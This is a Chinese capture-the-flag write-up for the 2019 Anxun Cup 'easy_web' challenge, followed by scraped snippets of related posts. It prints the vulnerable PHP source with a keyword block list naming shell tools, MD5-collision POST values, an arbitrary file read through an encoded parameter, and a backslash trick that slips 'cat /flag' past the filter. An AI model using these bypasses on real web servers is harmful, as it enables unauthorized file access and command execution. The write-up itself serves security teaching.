[安洵杯 2019]easy_web

0x00 知识点

md5强类型的绕过
方法比较固定:
POST:

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

任意文件下载
linux命令执行绕过

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "<br>"; }

linux命令中可以加,所以甚至可以ca\t /fl\ag

0x01 解题

打开链接,看到url不寻常,解密img参数
解密顺序
base64->base64->hex
结果:555.png
那么我们反向推回去,尝试读取index.php:
加密顺序:
hex->base64->base64

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

我们先看md5强类型的绕过

if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {

POST:

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

这里过滤了大部分命令执行的语句

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\

这里想到
linux命令中可以加,所以甚至可以ca\t /fl\ag
查看当前目录有没有flag:

并没有。。

去根目录下找flag:

发现flag,读取:

禁用cat之后,cmd=/bin/c\at%20/flag

看网上还有一种方法读取flag:

sort命令:sort将文件的每一行作为一个单位,相互比较,比较原则是从首字符向后,依次按ASCII码值进行比较,最后将他们按升序输出。


参考链接
https://www.jianshu.com/p/21e3e1f74c08

原文地址:https://www.cnblogs.com/wangtanzhi/p/12244096.html

时间: 2024-07-30 18:24:27

[安洵杯 2019]easy_web的相关文章

刷题记录:[安洵杯 2019]easy_serialize_php

目录 刷题记录:[安洵杯 2019]easy_serialize_php 知识点 PHP反序列化 刷题记录:[安洵杯 2019]easy_serialize_php 题目复现链接:https://buuoj.cn/challenges 参考链接:第二届安洵杯2019部分writeup 知识点 PHP反序列化 payload为_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==&quo

[安洵杯 2019]easy_serialize_php

0x00 知识点 PHP反序列化的对象逃逸 任何具有一定结构的数据,只要经过了某些处理而把自身结构改变,则可能会产生漏洞. 参考链接: https://blog.csdn.net/a3320315/article/details/104118688/ 过滤函数分为两种情况 第一种为关键词数增加 例如: where->hacker,这样词数由五个增加到6个. 第二种为关键词数减少 例如:直接过滤掉一些关键词,例如这道题目中. 过滤函数filter()是对serialize($_SESSION)进行

Upload To rce 安洵杯2019 这不是上传

0X0A 首先我们大致审计一下 三个源码文件 upload.php 上传页面 inlculde了helper extend了里面的helper 类型 大致是一个上传文件的函数 判断文件是否上传成功 如果失败则重新上传 再来看看helper里面的函数 看到了经典的反序列化magic _destruct()调用了 view_files 方法 view_file里面file_get_content函数可以造成rce或者任意文件读取 那么调用在哪里呐?? https://www.kancloud.cn/

2019 安洵杯 Re WP

0x01.EasyEncryption 测试文件:https://www.lanzous.com/i7soysb 1.IDA打开 int sub_416560() { int v0; // eax int v1; // edx int v2; // edx int v3; // ecx int v4; // ST08_4 char v6[4]; // [esp+310h] [ebp-7E0h] char Str; // [esp+700h] [ebp-3F0h] int v8; // [esp+

【 Ex 2019 】 WinSrv 2019 安裝 Ex 2019

由於這個是測試環境,你還是需要準備:IP段.域名等. 1.Windows Server 2019 創建 域(略)其實跟Windows Server 2016的方法一致,有時間我會再做一個教程出來. 2.下載 Exchange 2019(體驗版)http://blog.51cto.com/happynews/2153851 3.客戶端加入 域(略)其實跟你以往的經驗一致,有時間我會再做一個. 4.管理員啟動PowerShell 5.運行IIS的安裝命令( Install-WindowsFeatur

【 Ex 2019 】 WinSrv 2019 安裝 Ex 2019(三)

1.插入Exchange2019的ISO文件,直接雙擊2.由於是測試環境,我們選擇不更新,下一步3.4.下一步5.同意,下一步6.默認,下一步7.黃色標記,下一步(由於我只有一台AD,所以直接選擇這兩個選項,邊緣傳輸服務器,你需要部署另外一台DC才可以,其實微軟公司是不建議我們AD上安裝任何的東西,由於是測試環境,無所謂啦~)8.默認下一步9.否,下一步(因為我的虛擬機沒有設置連接外網,所以不選擇這個)10.安裝11.檢查結果12.正式開始安裝,這個過程就要看你的硬件配置了--13.我以為它掛了

VMware 安裝 Windows 2019 預覽版

1.打開你的 VMware Workstation 2.典型,下一步 原文地址:http://blog.51cto.com/happynews/2154266

【 Ex 2019 】 WinSrv 2019 安裝 Ex 2019(二)

1.Install-WindowsFeature RSAT-ADDS2.利用Exchange擴展AD架構,從Exchange2013開始,我發現只要通過UI的嚮導去拓展這個AD架構是100%失敗,所以微軟公司的產品,還是好大的Bug,直接差評,哈哈哈哈,好吧,我們直接PowerShell吧!( .\Setup.exe /PrepareSchema /IAcceptExchangeServerLicenseTerms )Done3.( .\setup /IAcceptExchangeServerL

PHP反序列化中过滤函数使用不当导致的对象注入

1.漏洞产生的原因 ####  正常的反序列化语句是这样的 $a='a:2:{s:8:"username";s:7:"dimpl3s";s:8:"password";s:6:"abcdef";}'; 但是如果写成这样 $b='a:2:{s:8:"username";s:7:"dimpl3s";s:8:"password";s:6:"123456";